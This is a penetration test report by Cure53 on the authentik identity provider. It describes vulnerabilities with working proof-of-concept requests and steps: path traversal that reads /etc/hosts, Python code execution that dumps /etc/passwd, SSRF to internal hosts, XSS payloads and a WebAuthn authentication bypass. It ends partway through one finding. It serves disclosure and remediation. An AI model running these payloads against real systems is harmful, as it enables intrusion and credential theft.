Fine penetration tests for fine websites

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Pentest-Report authentik IdP Web, API & SSO 05.2023

Cure53, Dr.-Ing. M. Heiderich, MSc. S. Moritz, E. Foudil, M. Kinugawa, MSc. R. Peraglie

Index

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Introduction

“authentik is an open-source Identity Provider, focused on flexibility and versatility. With authentik, site administrators, application developers, and security engineers a dependable and secure solution for authentication in almost any type of environment.”

From https://goauthentik.io/docs/

This report describes the results of a security assessment of the authentik IdP platform, with the test targets including the authentik IdP web frontend and UI, user-management, backend API, as well as SSO features. The project, which included a penetration test and a dedicated source code audit, was carried out by Cure53 in May 2023.

Registered as *ATH-01*, the examination was requested by Authentik Security Inc. in February 2023 and then scheduled for May 2023. As Cure53 and Authentik Security have not collaborated on security matters before, it was very important that sufficient time is available for preparations on both sides.

In terms of the exact timeline and specific resources allocated to *ATH-01*, Cure53 completed the research in CW21 of 2023, as scheduled. In order to achieve the expected coverage for this task, a total of sixteen days were invested. In addition, it should be noted that a team of five senior testers was formed and assigned to prepare, execute, and deliver this project.

For optimal structuring and tracking of tasks, the examination was split into four work packages (WPs):

- **WP1**: Penetration tests & code audits of authentik IdP web frontend & UI
- **WP2**: Penetration tests & code audits of authentik IdP user-management
- **WP3**: Penetration tests & code audits of authentik IdP backend API
- **WP4**: Penetration tests & code audits of authentik IdP SSO features

It can be seen from the above delineation of WPs and their titles that white-box methodology was utilized during this *ATH-01* project. Cure53 was provided with URLs, credentials, documentation, as well as all further means of access required to complete the tests. Additionally, all sources corresponding to the test-targets were shared to make sure the project can be executed in line with the agreed-upon framework.

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Overall, the project progressed effectively. To facilitate a smooth transition into the testing phase, all preparations were completed in min-May 2023, precisely in CW20. Throughout the engagement, communications were conducted via a private, dedicated and shared Slack channel. Stakeholders - including testers and internal staff responsible for security of the authentik IdP complex - could participate in discussions in this space.

The quality of the interactions throughout the test was excellent, with no outstanding queries. These steady exchanges contributed positively to the overall outcomes of this project. The scope was well prepared and clear, which played a major role in avoiding significant roadblocks during the test.

Cure53 offered frequent status updates about the test and the emerging findings. Live-reporting was offered and, given many findings arising from subsequent tests, it was executed via Slack for selected issues. As a result, the Authentik Security team could start working on fixes while the assignment was still in progress.

The Cure53 team succeeded in achieving very good coverage of the WP1-WP4 scope items. Of the fourteen security-related discoveries, ten were classified as security vulnerabilities and four were categorized as general weaknesses with lower exploitation potential.

Weighed against the type and volume of test targets, this total number of findings should be seen as quite elevated. However, it does not come as a surprise because this inspection was the first time that Cure53 looked at the authentik IdP platform’s security.

It is crucial to note that one of the discovered vulnerabilities was ranked with a *Critical* severity score, as it demonstrates an arbitrary code execution (see ATH-01-006). It is recommended to treat mitigation of this issue as an utmost priority, given that it poses a very significant threat to the overall integrity of the authentik platform at present.

The following sections first describe the scope and key test parameters, as well as how the WPs were structured and organized. Next, all findings are discussed in grouped vulnerability and miscellaneous categories. Flaws assigned to each group are then discussed chronologically. In addition to technical descriptions, PoC and mitigation advice will be provided where applicable.

The report closes with drawing broader conclusions relevant to this May 2023 project. Based on the test team's observations and collected evidence, Cure53 elaborates on the general impressions and reiterates the verdict. The final section also includes tailored hardening recommendations for the authentik complex.

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Scope

- **Penetration-tests & source code audits of authentik IdP UI, backend API & SSO**
  - **WP1**: Penetration tests & code audits of authentik IdP web frontend & UI
    - **Test URL:**
      - https://cure53.pr.test.goauthentik.io/
    - **Sources:**
      - authentik-main/web
  - **WP2**: Penetration tests & code audits of authentik IdP user-management
    - **Test URL:**
      - https://cure53.pr.test.goauthentik.io/if/admin/#/identity/users
    - **Sources:**
      - authentik-main/authentik
  - **WP3**: Penetration tests & code audits of authentik IdP backend API
    - **API URL:**
      - https://cure53.pr.test.goauthentik.io/api
    - **Sources:**
      - authentik-main/authentik
  - **WP4**: Penetration tests & code audits of authentik IdP SSO features
    - **Test URL:**
      - https://cure53.pr.test.goauthentik.io/if/admin/#/core/applications
    - **Sources:**
      - authentik-main/authentik
  - **Accounts utilized during the assessment:**
    - **Admin-account:**
      - U: akadmin
  - **Test-supporting material was shared with Cure53**
  - **All relevant sources were shared with Cure53**

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Identified Vulnerabilities

The following section lists all vulnerabilities and implementation issues identified during the testing period. Notably, findings are cited in chronological order rather than by degree of impact, with the severity rank offered in brackets following the title heading for each vulnerability. Furthermore, all tickets are given a unique identifier (e.g., *ATH-01-001*) to facilitate any future follow-up correspondence.

ATH-01-001 WP3: Path traversal on *blueprints* allows arbitrary file-read *(Medium)*

***Fix Note**: This issue was addressed by the development team and the fix was verified successfully by Cure53, the issue as described no longer exists.*

During the assessment of the *blueprint* feature, the discovery was made that the backend failed to properly validate user-input upon its addition to the final *blueprint* path. The path can then be traversed up and down via known path traversal techniques by injecting "../" characters. As a result, adversaries are able to break out of the *blueprints* folder in order to read files from other locations.

Affected file:
authentik/blueprints/models.py

Affected code:

```
def retrieve_file(self) -> str:
	"""Get blueprint from path"""
	try:
		full_path =
	Path(CONFIG.y("blueprints_dir")).joinpath(Path(self.path))
		with full_path.open("r", encoding="utf-8") as _file:
		return _file.read()
	except (IOError, OSError) as exc:
		raise BlueprintRetrievalFailed(exc) from exc
```

If a path is added to a non-existing file, a *"No such file or directory"* error occurs, as shown below.

Request:

```
PUT /api/v3/managed/blueprints/3f689a83-3e65-4cc6-a24c-9c7247334366/ HTTP/2
Host: cure53.pr.test.goauthentik.io
Cookie: authentik_csrf=<your token>; authentik_session=<your session>
X-Authentik-Csrf: <your token>
Content-Length: 55

{"name":"123","path":"456","context":{},"enabled":true}
```

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Response:

```
HTTP/2 400 Bad Request
[...]

{"path":["[Errno 2] No such file or directory: '/blueprints/456'"]}
```

The following request shows the method by which the path can be traversed up in order to read the contents of the */etc/hosts* file.

PoC request:

```
PUT /api/v3/managed/blueprints/3f689a83-3e65-4cc6-a24c-9c7247334366/ HTTP/2
Host: cure53.pr.test.goauthentik.io
Cookie: authentik_csrf=<your token>; authentik_session=<your session>
X-Authentik-Csrf: <your token>
Content-Length: 55

{"name":"123","path":"../etc/hosts","context":{},"enabled":true}
```

Response:

```
HTTP/2 200 OK
[...]
{"pk":"3f689a83-3e65-4cc6-a24c-9c7247334366","name":"123","path":"../etc/
passwd","context":{},"last_applied":"2023-05-
22T14:16:06.568837Z","last_applied_hash":"038bf509536879eda9a306f1f9b74897616e18
2e49ed94dac57803182042cbbfea6b86452c6f32228213836ad403d7687c4c596849316443305645
3291a76145","status":"successful","enabled":true,"managed_models":[],"metadata":
{},"content":""}
```

When the corresponding *blueprint* task is executed, an error message is displayed. It contains the content read from the file up to the first *carriage* return, as seen in the response from the system's task below.

System task's response:

```
{"task_name":"apply_blueprint:leak","task_description":"Apply single
blueprint","task_finish_timestamp":"2023-05-
23T12:44:07.033207Z","task_duration":0.05458162497961894,"status":"ERROR","messa
ges":["while scanning for the next token\nfound character '\\t' that cannot
start any token\n  in \"<unicode string>\", line 2, column 10:\n    127.0.0.1\
tlocalhost\n            ^"]}
```

It needs to be stated that the attack has some limitations. First, it is only possible to read the first line from the file. Second, if another error occurs during file read, no content is returned.

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Steps to reproduce:

1. Open the administrator-interface and create a new *blueprint* item under "*Customization -> Blueprints*".
2. In the tab "*OCI Registry"* add "*../etc/hosts*" to the path, then add a name and click on "*Create*".
3. Execute the *blueprint* task by clicking on the arrow button of the newly created item.
4. Open "*Dashboard -> System Tasks*" and click on the executed task with the error status.
5. Observe that the error message contains the first line of the file.

To mitigate, it is recommended to ensure that all user-input is properly sanitized and validated before being used in the final path. This includes checking for malicious characters - such as '../' - which can be used to traverse the structure of a path. Additionally, the final path should be resolved and checked to ensure that the requested file is in the *blueprints* folder.

ATH-01-002 WP1: Stored XSS in *help* text of *prompt* module *(Medium)*

***Client Note**: Prompt help texts can use HTML to add markup, which also includes the option to include JavaScript. This is only possible to configure for superusers, and in the future we're planning to add an additional toggle to limit this.*

***Client Note 2**: While the core functionality described here remains as intended, we have resolved this concern by publishing hardening documentation. To mitigate the risk of a rogue superuser creating a stage with a malicious script, the following steps can be taken: Block API Requests to these endpoints: /api/v3/stages/captcha* and /api/v3/managed/blueprints*. With these restrictions in place, Captcha stages can only be edited using Blueprints on the file system. It is also recommended to use the RBAC system to restrict which users can edit these objects.*

It was found that the *prompt* module within the admin-interface is prone to XSS. The feature provides the option to add HTML to the *help* text of any *prompt.* This text is then added to the page via the *preview* feature and can also be found among user-prompts. As a result, the stored malicious JavaScript can be executed when the affected *prompt* object is opened for editing. Similarly, the bug would also occur when the affected *prompt* is shown to the user.

Affected file:
web/src/admin/stages/prompt/PromptForm.ts

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Affected code:

```
renderEditForm(): TemplateResult {
[...]
   <ak-form-element-horizontal label=${t`Help text`} name="subText">
      <ak-codemirror
         mode="htmlmixed"
         value="${ifDefined(this.instance?.subText)}"
         @change=${() => {
            this._shouldRefresh = true;
         }}
      >
      </ak-codemirror>
      <p class="pf-c-form__helper-text">${t`Any HTML can be used.`}</p>
[...]
```

Only superusers can currently access this feature. Even though superusers are assumed unlikely to be malicious, this feature still makes it possible for them to impersonate other users, add new users, and set passwords. Moreover, since XSS is stored and executed when opened, it could also be used to attack superusers if necessary. For example, it could be leveraged to regain superuser permissions or to carry out interesting actions within the context of other users.

Cure53 believes that user-input should not be embedded as HTML into the *preview* and - more broadly - it should not be placed in the *prompts*. Instead, it is recommended to add it as text, especially since this strategy is already employed for other elements. If this mitigation s not an option and HTML should be rendered, Cure53 recommends sanitizing the content via DOMPurify[1] before adding it to the document. This would prevent executions of malicious JavaScript.

ATH-01-003 WP1: CSS injection via faulty string replacement in Mermaid *(Low)*

***Fix Note**: This issue was addressed by the affected 3rd party and the fix was verified successfully by Cure53, the issue as described no longer exists.*

The *Flows and Stages* feature in the admin-interface displays a diagram by using the Mermaid library[2]. Here, user-input is sanitized and displayed as HTML. Usually, to prevent CSS-based attacks, a *<style>* tag is removed. However, it was discovered that this sanitization can be bypassed.

[1] https://github.com/cure53/DOMPurify
[2] https://mermaid.js.org/

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Specifically, first, Mermaid sanitizes user-input with a rule that forbids the *<style>* tag[3]. Next, it performs some string replacements[4] on the sanitized HTML, places it inside the *<foreignObject>* tag of *SVG* and then sanitizes the entire *SVG* again with a rule that allows the *<style>* tag[5]. In the string replacement phases of these processes, the "*<style>*" string contained in the attribute is changed to a *<style>* tag in an incorrect manner. Since the second sanitization permits the *<style>* tag, the injection becomes successful.

The issue can be reproduced by setting the following string as a *flow name* and displaying the created *flow overview* page. If the PoC works correctly, the entire page will be red due to the accomplished injection of the *<style>* tag.

PoC:

```
x marker-end=#quot;url(<s title='#<style>*{background:red;fill:red!
important;color:red!important}svg{z-index:999;position:fixed;top:-300px;left:-
500px;max-width:none!important;width:200%;height:3000px}</style>'>y
```

The affected code tries to replace *marker-end* attributes using the faulty regular expressions. The string matching the regular expressions is replaced, even if it does not represent a *marker-end* attribute. As the PoC demonstrates, this can break the HTML structure.

Affected file:
https://github.com/mermaid-js/mermaid/blob/ac23787084e2d35eb750ae0ce93746726bcce74d/packages/mermaid/src/mermaidAPI.ts#L272

Affected code:

```
if (!useArrowMarkerUrls && !inSandboxMode) {
 cleanedUpSvg = cleanedUpSvg.replace(/marker-end="url\(.*?#/g, 'marker-
end="url(#')';
}
```

It can be seen that the attribute's value can be read, as explained in the security advisory issued for a similar bug found in Mermaid in the past[6]. An attacker could equally overlay the existing page layouts to perform UI attacks in this context. Fortunately, in the case of the authentik application, this bug exists in the admin-interface, hence hinging on a route exclusively reachable by superusers.

[3] https://github.com/mermaid-js/mermaid/blob/a[...]4d/packages/mermaid/src/[...]/[...]/common.ts#L52-L54
[4] https://github.com/mermaid-js/mermaid/blob/a[...]4d/packages/mermaid/src/mermaidAPI.ts#L263-L281
[5] https://github.com/mermaid-js/mermaid/blob/a[...]4d/packages/mermaid/src/mermaidAPI.ts#L537-L543
[6] https://github.com/mermaid-js/mermaid/security/advisories/GHSA-x3vm-38hw-55wf

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

On the one hand, the impact of this problem is currently limited. On the other hand, since the crafted CSS is stored and applied when opened, it could be used to attack superusers if necessary. For example, an adversary could leverage it to regain superuser permissions via a phishing page rendered by the application.

This bug can be reproduced even in the latest version of the Mermaid library. The following PoC applies CSS that makes the page bright red.

PoC:

```
graph TD
A["a marker-end=#quot;url(<s title='#<style>*{background:red}</style>'>b"]]
```

Mermaid's live editor can be used to confirm the effects.

Preview PoC:
https://mermaid.live/edit#pako:eNo1j70KwkAQhF_lWAtFIvZnFARbK610LdbcqsH7iZu9QkLe3UOxG2Y-mJkBmuQYLNyFuoc57jBuz2cEMoHkybLg6NaTV066yuJndW-0Vc_r6aTu9e15Mx-u1DzvknJ0VtiN9fIXTDdXhMsFI1QQWAK1rtQMGI1B0AcHRrBFOr5R9oqAcSwoZU2Hd2zAqmSuIHeOlHctIYEB7I18X1x2rSbZ_6Z_H1TQUTyl9GfGD-PtSuA

Ultimately, this is believed to be a 0-day problem in the Mermaid library. It is strongly recommended to report the error to the vendor and ask for an urgent fix. Cure53 can assist with reporting if necessary. The vendor should replace the attribute values through the node access instead of relying on the serialized HTML string. The *querySelectorAll()* API, among others, could be used to solve the problem.

In addition, Cure53 cannot see the necessity of enabling HTML on the diagram of the *Flows and Stages* features used by authentik. Therefore, it is recommended to set the Mermaid's *htmlLabels* option[7] to *false*.

[7] https://mermaid.js.org/config/directives.html#changing-flowchart-config-via-directive

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

ATH-01-006 WP4: Arbitrary code execution via expressions (*Critical*)

***Client Note**: This is the intended function of expression policies/property mappings, which also requires superuser permissions to edit. We're planning to also add a toggle to limit the functions that can be executed to the ones provided by authentik, and prevent the importing of modules.*

***Client Note 2**: While the core functionality described here remains as intended, we have resolved this concern by publishing hardening documentation. To mitigate the risk of a rogue superuser creating a malicious expression, the following steps can be taken: Block API Requests to these endpoints: /api/v3/policies/expression*, /api/v3/propertymappings*, /api/v3/managed/blueprints*. With these restrictions in place, expression can only be edited using Blueprints on the file system. It is also recommended to use the RBAC system to restrict which users can edit these objects.*

It was found that the expression policies and property mappings lead to arbitrary code execution beyond the available functions listed in the documentation[8][9]. By importing Python's *os* library and causing a policy to fail, the testers could display the contents of arbitrary commands on the server to the end-user in the message output of the SSO sign-in flow.

To reproduce this behavior, the code below can be included in the expression policy bound to an application. When a user attempts to sign in via the application, they will be presented with an error message detailing the output of the command executed in the policy.

PoC code:

```
import os
raise ValueError(os.popen("cat /etc/passwd").read())
return False
```

Command output:

```
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
```

[8] https://goauthentik.io/docs/policies/expression
[9] https://goauthentik.io/docs/property-mappings/expression

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

```
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List
Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System
(admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin runit-log:x:999:999:Created by
dh-sysuser for runit:/nonexistent:/usr/sbin/nologin _runit-log:x:998:998:Created
by dh-sysuser for runit:/nonexistent:/usr/sbin/nologin
authentik:x:1000:1000::/authentik:/usr/sbin/nologin
```

Notably, the code can also be inserted and executed across all areas where expressions are supported, for example via the *policy mapping* feature.

Allowing arbitrary Python code to execute on the server presents an additional attack surface. This vector could make it easy for adversaries to pivot to the internal network, alongside granting illegitimate access to sensitive credentials.

To remedy this issue, it may be necessary to restrict the Python code that can be executed in the expressions to the subset of commands detailed in the documentation. Further, it is recommended to run the Python code in isolation, i.e., separating it from the underlying application server, thus ensuring that such code cannot interfere with the authentik application.

ATH-01-007 WP3: SSRF via *blueprints* feature for fetching manifests *(Medium)*

***Client Note**: Blueprints can be fetched via OCI registries, which could be potentially used for server-side request forgery. This can only be accessed by superusers, and we're planning to add an option to limit the resolved IP ranges this functionality can connect to.*

***Client Note 2**: While the core functionality described here remains as intended, we have resolved this concern by publishing hardening documentation. To mitigate the risk of a rogue superuser sending malicious requests, the following steps can be taken: Block API Requests to these endpoints: /api/v3/managed/blueprints*. With these restrictions in place, blueprints can only be edited using yaml files on the file system. It is also recommended to use the RBAC system to restrict which users can edit these objects.*

A further look into ATH-01-001 revealed that the *blueprints* feature also suffers from a SSRF vulnerability. When a given path starts with the *oci://* protocol, the backend replaces it with *https://* and tries to fetch a manifest from the provided server. However, since no further validations are in place, adversaries are able to pivot into the internal

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

network and, from there, could send requests to internal services. This could introduce the risks of disclosing internal data and of performing unauthorized actions after reaching otherwise hidden endpoints.

The code depicted below shows how *oci://* is replaced by *https://*.

Affected file:
authentik/blueprints/models.py

Affected content:
```
def retrieve_oci(self) -> str:
	"""Get blueprint from an OCI registry"""
	client = BlueprintOCIClient(self.path.replace("oci://", "https://"))
	try:
		manifests = client.fetch_manifests()
		return client.fetch_blobs(manifests)
	except OCIException as exc:
		raise BlueprintRetrievalFailed(exc) from exc
```

Affected file:
authentik/blueprints/v1/oci.py

In the next step the authentik client sends a request to the server provided via the path variable, as shown below.

Affected content:
```
def fetch_manifests(self) -> dict[str, Any]:
	"""Fetch manifests for ref"""
	self.logger.info("Fetching OCI manifests for blueprint")
	manifest_request = self.client.NewRequest(
		"GET",
		"/v2/<name>/manifests/<reference>",
		WithReference(self.ref),
	).SetHeader("Accept", "application/vnd.oci.image.manifest.v1+json")
	try:
		manifest_response = self.client.Do(manifest_request)
		manifest_response.raise_for_status()
	except RequestException as exc:
		raise OCIException(exc) from exc
	manifest = manifest_response.json()
	if "errors" in manifest:
		raise OCIException(manifest["errors"])
	return manifest
```

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

The following PoC shows the method by which the authentik client can be forced to send requests to internal services. In this case, the external service *seba.ngrok.io* sends back a redirect to the client which then follows the provided location to *https://172.20.0.1/openapi/v3*. At the final location Kubernetes is running. Therefore, adversaries can point to other paths than the static manifest route called in the initial request.

PoC request:

```
PUT /api/v3/managed/blueprints/00b19059-1399-4c18-9738-dc2ba541f6f1/ HTTP/2
Host: cure53.pr.test.goauthentik.io
X-Authentik-Csrf: <your token>
Cookie: authentik_csrf=<your token>; authentik_session=<your token>
Content-Type: application/json
Content-Length: 84

{"name":"ssrf","path":"oci://seba.ngrok.io/ssrf","context":
{"a":"b"},"enabled":true}
```

Response:

```
HTTP/2 400 Bad Request
Date: Wed, 24 May 2023 09:12:02 GMT
[...]

{"path":["HTTPSConnectionPool(host='172.20.0.1', port=443): Max retries exceeded
with url: /openapi/v3:443 (Caused by SSLError(SSLCertVerificationError(1, '[SSL:
CERTIFICATE_VERIFY_FAILED] certificate verify failed: unable to get local issuer
certificate (_ssl.c:1002)')))"]}
```

The error indicates that TLS termination fails, which prevents communication with the service. Nevertheless, it is recommended to cease the option of sending requests to internal services. Instead, one should ensure that the resolved IP of the provided server does not match a list of the internal IP ranges. If this is the case, the request should not be sent. It is also advised to change the authentik client, so that it no longer follows redirects.

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

ATH-01-008 WP1: User-passwords disclosed to third-party service *(High)*

***Fix Note**: This issue was addressed by the development team and the fix was verified successfully by Cure53, the issue as described no longer exists.*

Testing confirmed that the authentik web application accidentally discloses user-passwords to the Sentry service. The responsible script is embedded into the web application which sends loaded URLs - inclusive of *GET* parameters - to the corresponding service. In case an URL contains sensitive data, this introduces the risk of leaking such data to the third-party service.

In the admin interface some forms can be updated by pressing the *Enter* button, which inadvertently adds the currently input *name* and value as a *GET* parameter to the URL. In particular, when an administrator tries to update the password of a user and hits *Enter* to send the form, the parameter is added to the URL.

Resulting URL:
https://cure53.pr.test.goauthentik.io/if/admin/?password=Abc123%21%3F%3F%3F#/identity/users/17;%7B%22page%22%3A%22page-overview%22%7D

The following example shows how the data is sent to Sentry via the embedded script.

Request:

```
POST /api/4504163677503489/envelope/?
sentry_key=c47e8babe0e640d6a16d7eea741c67b6&sentry_version=7&sentry_client=sentr
y.javascript.browser%2F7.52.1 HTTP/2
Host: o4504163616882688.ingest.sentry.io
[...]

{"timestamp":1685006159.16,"category":"navigation","data":{"from":"/if/admin/?
password=Abc123%21%3F%3F%3F%3F#/identity/users/17;%7B%22page%22%3A%22page-
overview%22%7D","to":"#/identity/users/17;%7B%22page%22%3A%22page-overview
%22%7D"}},[...],"request":{"url":"https://cure53.pr.test.goauthentik.io/if/
admin/?password=Abc123%21%3F%3F%3F%3F#/identity/users/17;%7B%22page%22%3A
%22page-overview%22%7D","headers":{[...]
```

Since content of this nature is usually persisted on servers or monitoring services, administrators or users of the third-party service can obtain access to the leaked passwords. The displayed behavior also poses a risk of disclosing passwords if the URL containing the password is shared with other users. Moreover, the parameter remains in the URL even if an administrator clicks on another *menu* item. Because the passwords are not updated by this behavior, the remaining risk can be seen as very likely, given that the same password might be used for updating a user's password.

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

To successfully exploit this weakness through user-impersonation, the usernames corresponding to each leaked password are required. However, this depends on the implementation of authentik within a company. Specifically, usernames might often be identical or easily guessable, which increases the likelihood of a successful exploitation. Additionally, URLs containing the corresponding usernames are also sent to Sentry, which supports enumeration-related goals.

Steps to reproduce:

1. Open the authentik application and sign in as an administrator.
2. Go to *"Directory -> Users"* and click on an existing user.
3. Click on *"Set Password".*
4. Add a new password and send the form via the *Enter* button.
5. Observe how the value is added to the URL as a *GET* parameter.

In order to prevent potential exploitation of this issue, Cure53 advises to not embed tracking scripts in sensitive areas of the web application, including the admin-interface.

It is recommended to further investigate and mitigate the behavior of using the *Enter* button to add input values as a *GET* parameter to the URL when forms are confirmed. The in-house team should also check if other areas of authentik are also affected, for example in the realm of *password reset* pages.

ATH-01-009 WP2: Lack of CSRF protection in *impersonate* feature *(Low)*

***Fix Note**: This issue was addressed by the development team and the fix was verified successfully by Cure53, the issue as described no longer exists.*

The *impersonate* feature in the admin-interface initiates or stops another user's login session with just one simple *GET* request. This means that if an admin-user logging in is navigated to that URL from a crafted website, another user's login session is unexpectedly started or stopped. Therefore, there is a possibility that an admin-user might operate throughout the application wrongly as the unexpected user, resulting in information leakage or modification of user data. The affected endpoints are listed below.

Affected endpoints:

- *https://cure53.pr.test.goauthentik.io/-/impersonation/[USER_ID]/*
- *https://cure53.pr.test.goauthentik.io/-/impersonation/end/*

To avoid unexpected users in logins, it is recommended to add the proper CSRF protection to the affected endpoints. Note that proper approaches are already implemented on other endpoints.

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

ATH-01-010 WP3: Web authentication bypass via key confusion *(High)*

***Fix Note**: This issue was addressed by the development team and the fix was verified successfully by Cure53, the issue as described no longer exists.*

The specified public key used within the web authentication must not be related to the pending authenticating user. It was confirmed that this allows authenticating as the *akadmin* user. This can be accomplished by providing a web authentication assertion signed by the secret key of the attacker.

In the following source code, it can be seen that the credential ID is received from the *data* variable loaded from the attacker-controlled HTTP request payload. The device and its public key attribute are selected from the database by the *credential_id* variable and used to validate the assertion of the authentication's response. It was found that the logic does not validate that the device belongs to the user whose authentication is pending.

Affected file:
authentik/authentik/stages/authenticator_validate/challenge.py

Affected code:

```
def validate_challenge_webauthn(data: dict, stage_view: StageView, user: User) -
> Device:
  """Validate WebAuthn Challenge"""
  request = stage_view.request
  challenge = request.session.get(SESSION_KEY_WEBAUTHN_CHALLENGE)
  credential_id = data.get("id")

  device = WebAuthnDevice.objects.filter(credential_id=credential_id).first()
  [...]
  authentication_verification = verify_authentication_response(
       credential=AuthenticationCredential.parse_raw(dumps(data)),
       expected_challenge=challenge,
       expected_rp_id=get_rp_id(request),
       expected_origin=get_origin(request),
       credential_public_key=base64url_to_bytes(device.public_key),
       credential_current_sign_count=device.sign_count,
       require_user_verification=stage.webauthn_user_verification ==
UserVerification.REQUIRED,
  )
```

Steps to reproduce:

1. Make sure that both the victim- and attacker-users have a web authentication token enrolled.

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

2. Start a flow that relies on the web authentication validator stage. It is possible to mirror the flow used in the test environment: *https://cure53.pr.test.goauthentik.io/if/flow/robins-test-flow/*
3. Enter the username of the attacker's user and intercept[10] the response of the subsequent HTTP *GET* request sent to the */api/v3/flows/executor/<FlowName>* endpoint.
4. Copy the public key found under the *JSON* path: *.device_challenges[0].challenge.allowCredentials.id*
5. Cancel and restart the flow from *Step 2*.
6. Enter the username of the victim *akadmin*, then intercept and modify the response of the subsequent HTTP *GET* request sent to the */api/v3/flows/executor/<FlowName>* endpoint.
7. Paste the public key from *Step 3a* into the field under the *.device_challenges[0].challenge.allowCredentials.id JSON* path
8. If the user-interface displays an error message, click on the *Retry* button.
9. Perform the web authentication with the FIDO device of the attacker.
10. See that the attacker passes the stage for the pending target user; in the test environment, the attacker is authenticated as the *akadmin* user.

It is recommended to assert that the *WebAuthnDevice* object stored within the *device* variable actually belongs to the pending authenticating user. By doing so, it can be assured that only the public key of the pending authenticating user had been used to sign the assertion, thus mitigating this vulnerability.

ATH-01-013 WP1: XSS via CAPTCHA JavaScript URL *(Medium)*

***Client Note**: Similar to ATH-01-002, any arbitrary JavaScript can be loaded using the Captcha stage. This is also limited to superusers.*

As its name suggests, the "*Captcha Stage*" of the *stage* setting is there to enable configurations of CAPTCHAs. Specifically, a superuser can set a JavaScript URL for a CAPTCHA library. However, it was discovered that this option allows setting arbitrary JavaScript URLs, resulting in XSS.

The issue can be reproduced by setting a JavaScript URL in the "*JS URL*" field, adding it to a flow and then opening the page.

PoC:
data:text/javascript,alert(document.domain)

[10] https://portswigger.net/burp/documentation/desktop/getting-started/intercepting-http-traffic

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

The operation can only be completed by a superuser, therefore it has the same impact as ATH-01-002. In addition, when the Enterprise Cloud version is released in the future, this could be used to attack another tenant. Specifically, if different tenants are hosted on the same origin, it will become a problem. Besides that, even if the application shares the same effective top-level domain plus one (eTLD+1) in different tenants, cookie-based attacks may be possible, pivoting from an attacker's tenant to another tenant.

In order to prevent potential exploitation, it is recommended to limit the setting to allow-listed JavaScript URLs only.

ATH-01-014 WP3: Authentication challenges abused by foreign flow *(Medium)*

***Fix Note**: This issue was addressed by the development team and the fix was verified successfully by Cure53, the issue as described no longer exists.*

It was found that the TOTP authentication validator stage stores authentication challenges within a session variable that is shared between all authentication flows. This lets users lift the *device class* restriction. As such, attackers can authenticate with an SMS code in situations when web authentication has been set as the only available TOTP option.

The aforementioned challenges are written to the session upon reception of a HTTP *GET* request which is automatically sent by the user-interface. Attackers can drop this specific HTTP request in order to use older authentication challenges of an earlier flow in a subsequent *POST* request.

Affected file:
authentik/stages/authenticator_validate/stage.py

Affected code:

```
class AuthenticatorValidateStageView(ChallengeStageView):
  def get(self, request: HttpRequest, *args, **kwargs) -> HttpResponse:
       [...]
       challenges = self.get_device_challenges()
       [...]
       self.request.session[SESSION_KEY_DEVICE_CHALLENGES] = challenges
```

Reproducing the following steps will result in an attacker being able to authenticate with an SMS TOTP validator at a flow which requires a web authentication flow. This is performed by receiving an SMS TOTP challenge from another flow and responding to it in the targeted flow.

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Steps to reproduce:

1. Assert that the attacker has both an SMS TOTP and web authentication TOTP validator set.
